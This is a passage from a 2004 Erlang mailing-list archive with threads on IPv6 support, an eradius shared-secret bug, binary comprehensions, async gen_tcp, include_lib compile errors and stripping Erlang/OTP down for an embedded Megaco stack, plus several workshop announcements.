software on IPv6, assumptions of IPv4 > address syntax, etc. will creep back; it's like digging a hole in the > sand. I implemented IPv6 support in Yxa (an SIP server/stack written in Erlang) recently. The only problem I had was with the UDP receive buffer for IPv6 being 1024 bytes (R9C-0) while it was 4 or 8k for IPv4. Have a look at our source code if you wish, http://www.stacken.kth.se/projekt/yxa/. I haven't tried the Erlang FTP module with IPv6 though - just gen_udp, gen_tcp and DNS resolving stuff. /Fredrik PS. IPv6 is still default disabled in Yxa, but that is because we otherwise risk proxying requests from v4-only to a v6-only user agent (or vice versa) with the result being that they can't communicate (for VoIP - send audio) to each other, which would not be appreciated by users ;) From stephen@REDACTED Mon Aug 23 02:59:01 2004 From: stephen@REDACTED (Stephen Gibberd) Date: Mon, 23 Aug 2004 07:59:01 +0700 Subject: Eradius usage Message-ID: <20040823005901.GB12372@telesurf.com.kh> Thanks - that fixed it. Stephen Hi, It appears from your trace that you have set the shared secret to an atom, which is why the md5 is failing. I suggest you retry with the shared secret as a list (string). Regs, Sean On 20 Aug 2004, at 00:54, Stephen Gibberd wrote: > Hello, > > I'm new to erlang and am trying to get eradius from jungerl working. > I've tried the following: > > l(et), l(eradius), l(eradius_acc), l(eradius_dict), l(eradius_lib), > l(eradius_server), l(eradius_server_example). > mnesia:start(). > eradius:start(). > eradius:load_tables(["dictionary"]). > eradius_server:create_tables([]). > eradius_server: > define_ras({192,168,79,99},1812,test,{eradius_server_example,test}). > eradius_server:trace_on({192,168,79,99},1812). > eradius_server:start_link({192,168,79,107},1812). > > I thought this would use the eradius_server_example:test function to > authenticate any requests coming from 192.168.79.99 but when I test > from > 192.168.79.99 using this command there is no reply: > > radtest test test 192.168.79.107 1812 test > > I tried to trace the radius_server process and saw it calling > eradius_server_example:test correctly (though the function didn't print > anything as I thought it would): > ...Many lines deleted.... > <0.297.0>: call eradius_server_example:test({rad_pdu, 125, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > {request, > [{{attribute,5,integer,"NAS_Port"},1812}, > {{attribute,4,ipaddr,"NAS_IP_Address"},{192,168,79,99}}, > {{attribute,2,string,"User_Password"}, > [237,170,124,54,202,213,211,109,5,130,29,119,238,96,8,132]}, > {{attribute,1,string,"User_Name"},"test"}]}}, {nas_prop, {{192, > 168, 79, 99}, 1812}, test, {eradius_server_example, test}, true}) > <0.297.0>: call eradius_server:encode_reply({rad_accept, > undefined, [], []}, {rad_pdu, 125, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > {request, [{{attribute,5,integer,"NAS_Port"},1812}, > {{attribute,4,ipaddr,"NAS_IP_Address"},{192,168,79,99}}, > {{attribute,2,string,"User_Password"}, > [237,170,124,54,202,213,211,109,5,130,29,119,238,96,8,132]}, > {{attribute,1,string,"User_Name"},"test"}]}}, test) > > Eradius_server_example:test seems to return rad_accept as it should, > but the eradius_server:encode_reply function seems to fail: > > .... many lines deleted ......... > <0.297.0>: call erlang:md5([<<2,125,0,20>>, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > [[],[]], > test]) > <0.297.0>: call proc_lib:exit_p({'EXIT', {badarg, [{erlang,md5, > [[<<2,125,0,20>>, > > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > [[],[]], > test]]}, > {eradius_lib,enc_reply_pdu,2}, > {eradius_server,encode_reply,3}, > {eradius_server,radius,4}, > {proc_lib,init_p,5}]}}, {eradius_server, radius, [<0.99.0>, > {udp,#Port<0.184>, > {192,168,79,99}, > 32781, > > <<1,125,0,56,201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96,1 > , > > 6,116,101,115,116,2,18,237,170,124,54,202,213,211,109,5,130,29,119,238, > 96 > ,8,132,4,6,192,168,79,99,5,6,0,0,7,20>>}, > 125, > > {nas_prop,{{192,168,79,99},1812},test,{eradius_server_example,test},tru > e}]}) > > Any hints or suggestions as to where I'm going wrong? > > Thanks, Stephen From bjarne@REDACTED Mon Aug 23 12:19:01 2004 From: bjarne@REDACTED (=?Windows-1252?Q?Bjarne_D=E4cker?=) Date: Mon, 23 Aug 2004 12:19:01 +0200 Subject: EUC'2004 - call for presentations !! Message-ID: <002601c488fa$acd8afe0$731d69d4@segeltorp> Dear Erlang friends, This year's Erlang/OTP User Conference, EUC'2004, will take place in Stockholm on October 21. Please see the invitation and call for papers: http://www.erlang.se/euc/04/ This will be a special occasion since it is now 10 years since the first EUC in 1994. Presentations both on technology and on applications are welcome. Also demos to be shown during coffees between sessions. See you all in Stockholm in October Bjarne -------------- next part -------------- An HTML attachment was scrubbed... URL: From per.gustafsson@REDACTED Mon Aug 23 14:55:29 2004 From: per.gustafsson@REDACTED (Per Gustafsson) Date: Mon, 23 Aug 2004 14:55:29 +0200 (MEST) Subject: Binary comprehensions In-Reply-To: <411C0EB7.5060306@duomark.com> References: <411C0EB7.5060306@duomark.com> Message-ID: I think it would be useful to have binary/list comprehension mixes as well for example: [X || HalfWord:16 <- HalfWordBin>> That would work like binary_to_list but instead of taking 8 bits per element it would use 16, filters < Size = size(Bin), InPos = Size*8-N, Rest = 0, transform(Bin, N, InPos, Rest, []). transform(Bin, N, InPos, Rest, Acc) when InPos > 0 -> <<_:InPos, X:N, _:Rest>> = Bin, if filter(X) -> transform(Bin, N, InPos-N, Rest+N, [f(X)|Acc]); true -> transform(Bin, N, InPos-N, Rest+N, Acc) end; transform(Bin, N, 0, Rest, Acc) -> <> = Bin, if filter(X) -> [f(X)|Acc]; true -> Acc end; This is reasonably efficient even though a lot of extra work is done in each iteration to extract X. Doing something similar for the list_to_binary comprehension would be very inefficient as it would require us to rebuild the entire binary in each iteration. On Thu, 12 Aug 2004, Jay Nelson wrote: > Has anyone requested binary comprehensions? Something like the following: > > {ok, FileInput} = file:read_file("example.txt"), > > Lowercase = << downcase(Char) || Char <- FileInput >>, > Printables = << R || R <- Lowercase, R > 32 >>, > HexNybbles = << integer(Byte) || Byte:4/binary <- FileInput >>, > Inverse = << flip(Bit) || Bit:1/binary <- FileInput >>, > ... > > > > Has the following restriction been lifted? > > |Size| must be an integer literal, or a previously bound variable. Note > that the following is not allowed: > > foo(N, <>) -> > {X,T}. > > > From vances@REDACTED Tue Aug 24 06:36:10 2004 From: vances@REDACTED (Vance Shipley) Date: Tue, 24 Aug 2004 00:36:10 -0400 Subject: The debugger and remote nodes Message-ID: <20040824043610.GI435@frogman.motivity.ca> After much hair pulling I have discovered why the debugger was seemingly behaving non-deterministically for me. I was trying to use my fancy graphical workstation (*) to debug an embedded system. It had seemed to work at times but not always and at some point I stopped being able to get it to recognize remote processes at all. In the end I concluded it's all about paths. Using debugger's graphical user interface I selected the source file to interpret with the "Interpreter Dialog" window. I double clicked on the directory bringing up the files and clicked on the one I wanted. In the "Selection" field it showed the absolute path to the source file when I was done. This was my mistake. What I needed to do was to type in the _relative_ path in that selection box and to make sure that relative path was also valid on the embedded system. The way this all seems to work (from reading the source) is that if the node is alive it will use rpc:multicall/3 to run code:load_abs/1 on all the nodes. If you give it an absolute pathname it will have to be the same on the remote node. In my case the embedded systems run out of /export/home/otpuser while my workstation runs out of /usr/local. When I used the dialog box to select the working source code it found the corresponding beam file there and told the remote node to load /Users/vances/... I guess it would help if it inspected the return from multicall and advised the user of the problem. On the other hand it could send the beam file over to the target node and load that using code:load_binary/3 which would actually be quite handy as you could be making changes, and probably are, on the workstation and would other wise need to transfer the new beam file over seperately. A note in the documentation would be the easiest fix however. And now we have a mailing list entry for future searches. :) -Vance (*) OS X using the native TkAqua (no X11) From cyberlync@REDACTED Tue Aug 24 20:47:35 2004 From: cyberlync@REDACTED (Eric Merritt) Date: Tue, 24 Aug 2004 14:47:35 -0400 Subject: asynchronous gen_tcp Message-ID: Guys, Thanks to the good tutorials out there I have finally gotten my mind around the use of gen_server and to some extent gen_tcp. I have a few other questions that I havn't quite figured out yet. In the current configuration I am trying to build, I have 3 processes. A - gen_server that handles listening for sockets, spawning acceptors, managing connections, etc. B - Accepts the connection and continues on to handle requests/responses from the tcp connection and from process C (the worker). C - The actual worker process. Receives messages from B (parsed and erlangified messages from the connection) and others, sends messages to erlangified messages to B when output to the client is required. My biggest problem right now is that when B is waiting on gen_tcp:recv it can't receive messages from C to send. B needs to work in a more async manner. I seem to remember seeing something like this at some point, but now I can't seem to find it. Thanks for your help, Eric -- Any sufficiently complicated C or Fortran program contains an ad-hoc, informally-specified, bug-ridden, slow implementation of half of Lisp From vlad_dumitrescu@REDACTED Tue Aug 24 21:25:41 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Tue, 24 Aug 2004 21:25:41 +0200 Subject: asynchronous gen_tcp References: Message-ID: > My biggest problem right now is that when B is waiting on > gen_tcp:recv it can't receive messages from C to send. B needs to > work in a more async manner. I seem to remember seeing something > like this at some point, but now I can't seem to find it. I suppose your B process is created with {active, false}, if you use gen_tcp:recv. If you don't use that option, then B will get messages like {tcp, Socket, Data} whenever something comes from the client. If there is a lot of traffic and you want to be able to tell the client to slow down a little, you can use {active, once} that will deliver one packet and then swithch to the passive state. By calling inet:setopts(Socket,[{active, once}]) at an appropriate time, you can restart this cycle. regards, Vlad From francesco@REDACTED Tue Aug 24 21:33:25 2004 From: francesco@REDACTED (Francesco Cesarini) Date: Tue, 24 Aug 2004 20:33:25 +0100 Subject: Erlang Workshop, last chance ot register at reduced rates Message-ID: <412B9805.209@erlang-consulting.com> Hi All, a reminder that tomorrow (Wendesday, August 25th) is the last day to register at the reduced rate of From francesco@REDACTED Tue Aug 24 21:43:23 2004 From: francesco@REDACTED (Francesco Cesarini) Date: Tue, 24 Aug 2004 20:43:23 +0100 Subject: Erlang Workshop, last chance to register at discounted rate info (Ignore previous..) Message-ID: <412B9A5B.8030209@erlang-consulting.com> Things fly away in cyberspace late in the evenings... A quick reminder that tomorrow (Wednesday August 25th) is the final date to register at the discounted rate for the Erlang workshop in Snowbird, Utah, on Wednesday September 22nd. The prices are Students or ACM/Sigplan members, 60 USD instead of 100 USD Non-members, 70 USD instead of 110 USD Starting Thursday, they will rise by 40 USD. To register, go to the ICFP site: http://regmaster.com/icfp2004.html More information on the workshop is available here: http://www.erlang.se/workshop/2004/ For those thinking of attending, some of us have set aside Tuesday for an informal meet up/sightseeing of the area. Feel free to contact me and I will keep you posted as our plans evolve. Regards, Francesco -- http://www.erlang-consulting.com From francesco@REDACTED Tue Aug 24 21:56:22 2004 From: francesco@REDACTED (Francesco Cesarini) Date: Tue, 24 Aug 2004 20:56:22 +0100 Subject: Work in Progress Sessions at the Erlang Workshop Message-ID: <412B9D66.90506@erlang-consulting.com> In case some of you have studied the Erlang workshop program, you will notice that we have set aside 30 minutes for Work in Progress talks. The idea is to give participants a 5 minute slot in which they can present their Erlang/OTP based research, products, open source developments or ideas without having to submit a formal paper. This will be on a first come - first serve basis, and has been placed at the very end so as to allow the discussions to continue after the session. (We will probably be arranging a dinner somewhere). This is the first time WIP sessions will be tried out at an Erlang workshop, so if you are planing to attend, come and be part of it... And if you are still debating, this might be the excuse you are waiting for. Feel free to contact me or any other member of the committee should you have any questions. Francesco -- http://www.erlang-consulting.com From cyberlync@REDACTED Wed Aug 25 18:46:57 2004 From: cyberlync@REDACTED (Eric Merritt) Date: Wed, 25 Aug 2004 12:46:57 -0400 Subject: ex11, esdl Message-ID: Hello all, I have embarked on a project to port the backend of ex11 to esdl instead of x11. I am of the opinion that this would give me a nice crossplatform gui package for erlang. If anyone else is interested let me know. If I get one or more people interested in helping, I will put the source out somewhere like sourceforge (at least once I find out what the license to ex11 is ;) Thanks, Eric From kris_prieb@REDACTED Thu Aug 26 02:53:01 2004 From: kris_prieb@REDACTED (Kris Prieb) Date: Wed, 25 Aug 2004 19:53:01 -0500 Subject: Question regarding pid recycling. Message-ID: <0I3100NFG3TS1F@gsbims.uchicago.edu> Hi, I have a question regarding pid recycling. On a running erlang node, which is constantly spawning and killing pids, how long can one expect to wait before the same pid is used *twice*? I understand that at any given point in time, pids are globally unique, but my question is about their uniqueness over time. How does the situation change when there are multiple nodes in the system? Thanks ahead of time! -Kris Prieb From guillermo.fernandez@REDACTED Thu Aug 26 04:43:24 2004 From: guillermo.fernandez@REDACTED (Guillermo Fernandez Castellanos) Date: Thu, 26 Aug 2004 11:43:24 +0900 Subject: Problem executing a program Message-ID: <412D4E4C.7060508@epfl.ch> Hi, I have been trying to test very easy programs with Erlang. I have made a standard installation of Erlang (configure --prefix=/home/myhome; make; make install) after reading the README When I try to execute this program: -module(hello). -export([start/1]). -include_lib("kernel/include/file.hrl"). %%**HERE** start(Args) -> io:format("Hello world~nArgs=~p~n", [Args]), erlang:halt(). $ ecc test.erl works just well. But when I add in %%**HERE** the line: -include_lib("megaco/include/megaco.hrl"). it just do not work anymore: $ecc test.erl ./test.erl:6: can't find include lib "megaco/include/megaco.hrl" Actually I obtain the same message while trying to compile ~/lib/erlang/lib/megaco-2.1.3/examples/simple/megaco_simple_mgc.erl $ecc megaco_simple_mgc.erl ./megaco_simple_mgc.erl:52: can't find include lib "megaco/include/megaco.hrl" ./megaco_simple_mgc.erl:53: can't find include lib "megaco/include/megaco_message_v1.hrl" ./megaco_simple_mgc.erl:120: undefined macro 'megaco_ip_port_text' ./megaco_simple_mgc.erl:134: record megaco_receive_handle undefined ./megaco_simple_mgc.erl:283: undefined macro 'megaco_not_implemented' ./megaco_simple_mgc.erl:312: undefined macro 'megaco_root_termination_id' ./megaco_simple_mgc.erl:334: undefined macro 'megaco_not_implemented' ./megaco_simple_mgc.erl:76: function do_start/1 undefined ./megaco_simple_mgc.erl:39: function handle_trans_long_request/3 undefined ./megaco_simple_mgc.erl:39: function handle_trans_request/3 undefined Where come this error from? I could not find any reference while googling... Any link, hint would be most wellcome. Thanks! G From guillermo.fernandez@REDACTED Thu Aug 26 04:42:57 2004 From: guillermo.fernandez@REDACTED (Guillermo Fernandez Castellanos) Date: Thu, 26 Aug 2004 11:42:57 +0900 Subject: Megaco stack Message-ID: <412D4E31.8090608@epfl.ch> Hi, Accept my appologies if this message has been already sended to the list... I am starting to look at Erlang, as I need a Megaco stack for my job and Erlang's one seems to be promising. The problem is, my boss ask me to make it work in only a few Mb of disk space, and that's largelly under the 80 Mb of my Linux installation... I am using the latest Erlang distribution. Is that possible? Or is an impossible dream? What would (rough estimation, of course) be the minimal disk space requirements? I would apreciate any hint, link or help in that direction. I had a look to the Erlan FAQ, and finded the following references: 5.5 How do I write an Erlang system that fits on a floppy? http://www.sics.se/~joe/sae.html Unfortunatelly this distribution does not give a lot of details about the libraries that it includes, and Megaco does not seem to be one of them. 8.9. Is Erlang small enough for embedded systems? """It is reasonably straightforward to fit Erlang itself into 2Mbyte of persistant storage""" """ This can be automated by editing otp.mk and adding +compressed +no_debug_info to the erlang compiler options and then rebuilding all the libraries.""" unfortunatelly I did not find it that straightforward nor was able to find the opt.mk file... After a $ grep -r '\-include' * | awk 'FS="\"" {print $2}' | sort | uniq -u et/include/et.hrl megaco/include/megaco_sdp.hrl megaco/src/text/megaco_text_tokens.hrl megaco_ber_bin_drv_media_gateway_control_v1.hrl megaco_ber_bin_drv_media_gateway_control_v2.hrl megaco_ber_bin_media_gateway_control_v1.hrl megaco_ber_bin_media_gateway_control_v2.hrl megaco_ber_media_gateway_control_v1.hrl megaco_ber_media_gateway_control_v2.hrl megaco_per_bin_drv_media_gateway_control_v1.hrl megaco_per_bin_drv_media_gateway_control_v2.hrl megaco_per_bin_media_gateway_control_v1.hrl megaco_per_bin_media_gateway_control_v2.hrl megaco_per_media_gateway_control_v1.hrl megaco_per_media_gateway_control_v2.hrl i found that the dependencies seemed to rely little on the OTP library. I then thought about simply stripping (deleting...) the non used OTP modules (applications) from the compiled Erlang distribution. But something tells me it's not a good idea... Thanks, G From bengt.kleberg@REDACTED Thu Aug 26 08:55:02 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Thu, 26 Aug 2004 08:55:02 +0200 Subject: Problem executing a program In-Reply-To: <412D4E4C.7060508@epfl.ch> References: <412D4E4C.7060508@epfl.ch> Message-ID: <412D8946.7050009@ericsson.com> Guillermo Fernandez Castellanos wrote: > Hi, > > I have been trying to test very easy programs with Erlang. > I have made a standard installation of Erlang (configure > --prefix=/home/myhome; make; make install) after reading the README > > When I try to execute this program: > > -module(hello). > > -export([start/1]). > > -include_lib("kernel/include/file.hrl"). > %%**HERE** > > start(Args) -> > io:format("Hello world~nArgs=~p~n", [Args]), > erlang:halt(). > > $ ecc test.erl > works just well. > > But when I add in %%**HERE** the line: > -include_lib("megaco/include/megaco.hrl"). > it just do not work anymore: > $ecc test.erl > ./test.erl:6: can't find include lib "megaco/include/megaco.hrl" > greetings, since this could be 2 very different kinds of errors it would be nice if you could tell me if the file "megaco/include/megaco.hrl" exists on your system. bengt From bengt.kleberg@REDACTED Thu Aug 26 09:53:58 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Thu, 26 Aug 2004 09:53:58 +0200 Subject: program controlled alternative to +P ? Message-ID: <412D9716.1030100@ericsson.com> greetings, is there a way to increate the maximum number of process (like ''erl +P 1000000'' when starting) after having started the system? i have searched for such a function, but not been able to find it. bengt From ulf.wiger@REDACTED Thu Aug 26 10:34:33 2004 From: ulf.wiger@REDACTED (Ulf Wiger (AL/EAB)) Date: Thu, 26 Aug 2004 10:34:33 +0200 Subject: Megaco stack Message-ID: <37FB7AA6F5F9814FB634A7BF4C35A6F5402817@ESEALNT442.al.sw.ericsson.se> One fairly straighforward thing to try is to go through the following steps: - Make a system, using the SASL tools (systools:make_script()). This is a bit tricky the first time, but you could try the following tutorial that I put together some time ago: http://www.erlang.org/ml-archive/erlang-questions/200212/msg00038.html - Call systools:make_tar/2 using the same .rel file as in the first step. This is also briefly mentioned in the tutorial. http://www.erlang.org/doc/r9c/lib/sasl-1.10/doc/html/systools.html#make_tar%2 The manual shows you how to include a runtime system in the tar file. Unpacked, this file structure should give you an idea of how much space is required for your system before doing any advanced stripping. The make_tar function will only include applications that have actually been listed in the .rel file. If you're lucky, this will be enough... I tried it, just to see whether there'd be any surprises (there was one: the 'erts' option to make_tar() seems to require the OTP Root, and not the erts directory as the manual states.) My computer reports 38 MB of disk space for a runnable system made out of kernel, stdlib and megaco. Perhaps that's slightly more than you had in mind? The majority of space is used by the following files: - beam (7.18 MB) - beam.elib (7.21 MB) - beam.elib.shared (7.22 MB) - beam.shared (7.18 MB) I can't tell you whether all of them are needed. A highly unscientific experiment suggests that you can at least start the system on a Solaris box without beam.elib, beam.elib.shared and beam.shared. That cuts down the space requirement to ca 17 MB. Perhaps someone who knows what these files actually do could tell you what you're giving up... After this, I suggest you run xref to find out which modules in stdlib and kernel are actually used by megaco. It's not going to give you much, though. There are also some more files in erts/bin that you could perhaps do without, but it all depends on how much you want to cripple your system in order to save a few megabytes of disk space (I know - the answer is not obvious when it comes to embedded systems.) /Uffe > -----Original Message----- > From: owner-erlang-questions@REDACTED > [mailto:owner-erlang-questions@REDACTED]On Behalf Of Guillermo > Fernandez Castellanos > Sent: den 26 augusti 2004 04:43 > To: erlang-questions@REDACTED > Subject: Megaco stack > > > Hi, > > Accept my appologies if this message has been already sended > to the list... > > I am starting to look at Erlang, as I need a Megaco stack for > my job and > Erlang's one seems to be promising. The problem is, my boss ask me to > make it work in only a few Mb of disk space, and that's > largelly under > the 80 Mb of my Linux installation... I am using the latest Erlang > distribution. Is that possible? Or is an impossible dream? What would > (rough estimation, of course) be the minimal disk space requirements? > > I would apreciate any hint, link or help in that direction. > > I had a look to the Erlan FAQ, and finded the following references: > > 5.5 How do I write an Erlang system that fits on a floppy? > http://www.sics.se/~joe/sae.html > Unfortunatelly this distribution does not give a lot of details about > the libraries that it includes, and Megaco does not seem to > be one of them. > > 8.9. Is Erlang small enough for embedded systems? > """It is reasonably straightforward to fit Erlang itself into > 2Mbyte of > persistant storage""" > """ This can be automated by editing otp.mk and adding +compressed > +no_debug_info to the erlang compiler options and then rebuilding all > the libraries.""" > unfortunatelly I did not find it that straightforward nor was able to > find the opt.mk file... > > After a > $ grep -r '\-include' * | awk 'FS="\"" {print $2}' | sort | uniq -u > et/include/et.hrl > megaco/include/megaco_sdp.hrl > megaco/src/text/megaco_text_tokens.hrl > megaco_ber_bin_drv_media_gateway_control_v1.hrl > megaco_ber_bin_drv_media_gateway_control_v2.hrl > megaco_ber_bin_media_gateway_control_v1.hrl > megaco_ber_bin_media_gateway_control_v2.hrl > megaco_ber_media_gateway_control_v1.hrl > megaco_ber_media_gateway_control_v2.hrl > megaco_per_bin_drv_media_gateway_control_v1.hrl > megaco_per_bin_drv_media_gateway_control_v2.hrl > megaco_per_bin_media_gateway_control_v1.hrl > megaco_per_bin_media_gateway_control_v2.hrl > megaco_per_media_gateway_control_v1.hrl > megaco_per_media_gateway_control_v2.hrl > > i found that the dependencies seemed to rely little on the > OTP library. > I then thought about simply stripping (deleting...) the non used OTP > modules (applications) from the compiled Erlang distribution. But > something tells me it's not a good idea... > > Thanks, > > G > From ulf.wiger@REDACTED Thu Aug 26 10:55:09 2004 From: ulf.wiger@REDACTED (Ulf Wiger (AL/EAB)) Date: Thu, 26 Aug 2004 10:55:09 +0200 Subject: Problem executing a program Message-ID: <37FB7AA6F5F9814FB634A7BF4C35A6F5402818@ESEALNT442.al.sw.ericsson.se> I don't know exactly how ecc is built, but on my machine, it works with erlc, but not with ecc. The ecc compiler uses stand-alone erlang, which is built using only (basically) erts, kernel & stdlib. The include_lib directive assumes that the application refered to is in the path. As erlc starts a normal erlang VM, it is able to find all standard erlang applications, including megaco. All this is conjecture (well, after peeking at ecc.erl et al.) The gurus at the OTP team may step in and correct me. Solution to the problem: don't use -include_lib for megaco, but instead -include("megaco.hrl"), and then pass on a -I option to ecc. /Uffe > -----Original Message----- > From: owner-erlang-questions@REDACTED > [mailto:owner-erlang-questions@REDACTED]On Behalf Of Guillermo > Fernandez Castellanos > Sent: den 26 augusti 2004 04:43 > To: erlang-questions@REDACTED > Subject: Problem executing a program > > > Hi, > > I have been trying to test very easy programs with Erlang. > I have made a standard installation of Erlang (configure > --prefix=/home/myhome; make; make install) after reading the README > > When I try to execute this program: > > -module(hello). > > -export([start/1]). > > -include_lib("kernel/include/file.hrl"). > %%**HERE** > > start(Args) -> > io:format("Hello world~nArgs=~p~n", [Args]), > erlang:halt(). > > $ ecc test.erl > works just well. > > But when I add in %%**HERE** the line: > -include_lib("megaco/include/megaco.hrl"). > it just do not work anymore: > $ecc test.erl > ./test.erl:6: can't find include lib "megaco/include/megaco.hrl" > > Actually I obtain the same message while trying to compile > ~/lib/erlang/lib/megaco-2.1.3/examples/simple/megaco_simple_mgc.erl > > $ecc megaco_simple_mgc.erl > ./megaco_simple_mgc.erl:52: can't find include lib > "megaco/include/megaco.hrl" > ./megaco_simple_mgc.erl:53: can't find include lib > "megaco/include/megaco_message_v1.hrl" > ./megaco_simple_mgc.erl:120: undefined macro 'megaco_ip_port_text' > ./megaco_simple_mgc.erl:134: record megaco_receive_handle undefined > ./megaco_simple_mgc.erl:283: undefined macro 'megaco_not_implemented' > ./megaco_simple_mgc.erl:312: undefined macro > 'megaco_root_termination_id' > ./megaco_simple_mgc.erl:334: undefined macro 'megaco_not_implemented' > ./megaco_simple_mgc.erl:76: function do_start/1 undefined > ./megaco_simple_mgc.erl:39: function > handle_trans_long_request/3 undefined > ./megaco_simple_mgc.erl:39: function handle_trans_request/3 undefined > > Where come this error from? I could not find any reference > while googling... > > Any link, hint would be most wellcome. > > Thanks! > > G > > From matthias@REDACTED Thu Aug 26 11:12:19 2004 From: matthias@REDACTED (Matthias Lang) Date: Thu, 26 Aug 2004 11:12:19 +0200 Subject: Megaco stack In-Reply-To: <412D4E31.8090608@epfl.ch> References: <412D4E31.8090608@epfl.ch> Message-ID: <16685.43379.605649.880547@antilipe.corelatus.se> Guillermo Fernandez Castellanos writes: > I had a look to the Erlan FAQ, and finded the following references: > > 5.5 How do I write an Erlang system that fits on a floppy? > http://www.sics.se/~joe/sae.html > Unfortunatelly this distribution does not give a lot of details about > the libraries that it includes, and Megaco does not seem to be one of them. As far as I know, nobody uses SAE for a production system. There's no showstopper preventing you from doing that, but you will be a pioneer. That means you will spend time solving problems that you wouldn't have to deal with if you'd chosen a more mainstream approach. > 8.9. Is Erlang small enough for embedded systems? > """It is reasonably straightforward to fit Erlang itself into 2Mbyte of > persistant storage""" > """ This can be automated by editing otp.mk and adding +compressed > +no_debug_info to the erlang compiler options and then rebuilding all > the libraries.""" > unfortunatelly I did not find it that straightforward nor was able to > find the opt.mk file... "Straightforward" in the context of "embedded systems" means that someone with a reasonable amount of Erlang experience and a reasonable amount of embedded system experience can do it without having to write new code or do surgery on existing code. But messing with makefiles and playing detective with grep is par for the course. In answer to your specific problem: I can think of two reasons why you can't find "otp.mk". Firstly, you misspelt it. Secondly, maybe you're looking for it in a source tree which hasn't been configured, i.e. you haven't run "configure" first. "configure" creates it from "otp.mk.in". Aside: In 2001, some embedded hardware I work with included an Erlang system stripped down to 2Mbyte. Now, it's grown to 3MByte. The growth is mostly due to ERTS doubling in size from R7B to R9C (compiled without HIPE). I haven't investigated what exactly has grown. > I then thought about simply stripping (deleting...) the non used OTP > modules (applications) from the compiled Erlang distribution. But > something tells me it's not a good idea... That's exactly how I cut down Erlang for a widely used embedded system. Although that system can be used as a media gateway, it doesn't have MEGACO. Matthias From michael@REDACTED Thu Aug 26 18:46:22 2004 From: michael@REDACTED (Michael Hobbs) Date: Thu, 26 Aug 2004 11:46:22 -0500 (CDT) Subject: ANN: Python + Erlang = Candygram Message-ID: <28581.209.46.8.140.1093538782.squirrel@mail.hobbshouse.org> This is a little off-topic, since it isn't relevant to Erlang programmers, but it may be of interest to those who enjoy programming in Erlang. -------------------------------------------------------------- Announcing the first public release of Candygram: Candygram 1.0 beta 1 Candygram is a Python implementation of Erlang concurrency primitives. This package attempts to emulate Erlang's concurrency facilities as closely as possible in Python. With Candygram, developers can send and receive messages between threads using semantics nearly identical to those in the Erlang language. More information about Candygram can be found at http://candygram.sourceforge.net From guillermo.fernandez@REDACTED Fri Aug 27 04:20:46 2004 From: guillermo.fernandez@REDACTED (Guillermo Fernandez Castellanos) Date: Fri, 27 Aug 2004 11:20:46 +0900 Subject: Problem executing a program In-Reply-To: <412D8946.7050009@ericsson.com> References: <412D4E4C.7060508@epfl.ch> <412D8946.7050009@ericsson.com> Message-ID: <412E9A7E.1030207@epfl.ch> >> Hi, >> >> I have been trying to test very easy programs with Erlang. >> I have made a standard installation of Erlang (configure >> --prefix=/home/myhome; make; make install) after reading the README >> >> When I try to execute this program: >> >> -module(hello). >> >> -export([start/1]). >> >> -include_lib("kernel/include/file.hrl"). >> %%**HERE** >> >> start(Args) -> >> io:format("Hello world~nArgs=~p~n", [Args]), >> erlang:halt(). >> >> $ ecc test.erl >> works just well. >> >> But when I add in %%**HERE** the line: >> -include_lib("megaco/include/megaco.hrl"). >> it just do not work anymore: >> $ecc test.erl >> ./test.erl:6: can't find include lib "megaco/include/megaco.hrl" Hi, Thanks everybody for your answers. In the mean time, I keeped reading, and I finded another way of compiling: $ erl Erlang (BEAM) emulator version 5.3 Eshell V5.3.6.3 (abort with ^G) 1> c(test). {ok,test} 2> It even works with Erlang: $ erl Erlang (BEAM) emulator version 5.3.6.3 [source] [hipe] Eshell V5.3.6.3 (abort with ^G) 1> c(megaco_simple_mgc). ./megaco_simple_mgc.erl:30: Warning: behaviour megaco_user undefined {ok,megaco_simple_mgc} 2> Is this the standard way of running programs with Erlang? Or should I use erlc instead? > since this could be 2 very different kinds of errors it would be nice if > you could tell me if the file "megaco/include/megaco.hrl" exists on your > system. erlang/lib/megaco-2.1.3/include/megaco.hrl Yes, I have it it my system. > I don't know exactly how ecc is built, but on my machine, > it works with erlc, but not with ecc. Indeed... I made the test and it works also for me with erlc. I'll retry adding megaco to the path. Thanks again! G From guillermo.fernandez@REDACTED Fri Aug 27 04:49:37 2004 From: guillermo.fernandez@REDACTED (Guillermo Fernandez Castellanos) Date: Fri, 27 Aug 2004 11:49:37 +0900 Subject: Megaco stack In-Reply-To: <412D4E31.8090608@epfl.ch> References: <412D4E31.8090608@epfl.ch> Message-ID: <412EA141.5070403@epfl.ch> Hi, I will read the links and try to do it in both ways (strip and tutorial). Will take some time to asimilate everything thoug :-) I am ashamed to admit that the otp.mk problem was a typing error I did (several times in a row, and today as well...), opt.mk instead of otp.mk. Thanks a lot for all the answers! G Guillermo Fernandez Castellanos wrote: > Hi, > > Accept my appologies if this message has been already sended to the list... > > I am starting to look at Erlang, as I need a Megaco stack for my job and > Erlang's one seems to be promising. The problem is, my boss ask me to > make it work in only a few Mb of disk space, and that's largelly under > the 80 Mb of my Linux installation... I am using the latest Erlang > distribution. Is that possible? Or is an impossible dream? What would > (rough estimation, of course) be the minimal disk space requirements? > > I would apreciate any hint, link or help in that direction. > > I had a look to the Erlan FAQ, and finded the following references: > > 5.5 How do I write an Erlang system that fits on a floppy? > http://www.sics.se/~joe/sae.html > Unfortunatelly this distribution does not give a lot of details about > the libraries that it includes, and Megaco does not seem to be one of them. > > 8.9. Is Erlang small enough for embedded systems? > """It is reasonably straightforward to fit Erlang itself into 2Mbyte of > persistant storage""" > """ This can be automated by editing otp.mk and adding +compressed > +no_debug_info to the erlang compiler options and then rebuilding all > the libraries.""" > unfortunatelly I did not find it that straightforward nor was able to > find the opt.mk file... > > After a > $ grep -r '\-include' * | awk 'FS="\"" {print $2}' | sort | uniq -u > et/include/et.hrl > megaco/include/megaco_sdp.hrl > megaco/src/text/megaco_text_tokens.hrl > megaco_ber_bin_drv_media_gateway_control_v1.hrl > megaco_ber_bin_drv_media_gateway_control_v2.hrl > megaco_ber_bin_media_gateway_control_v1.hrl > 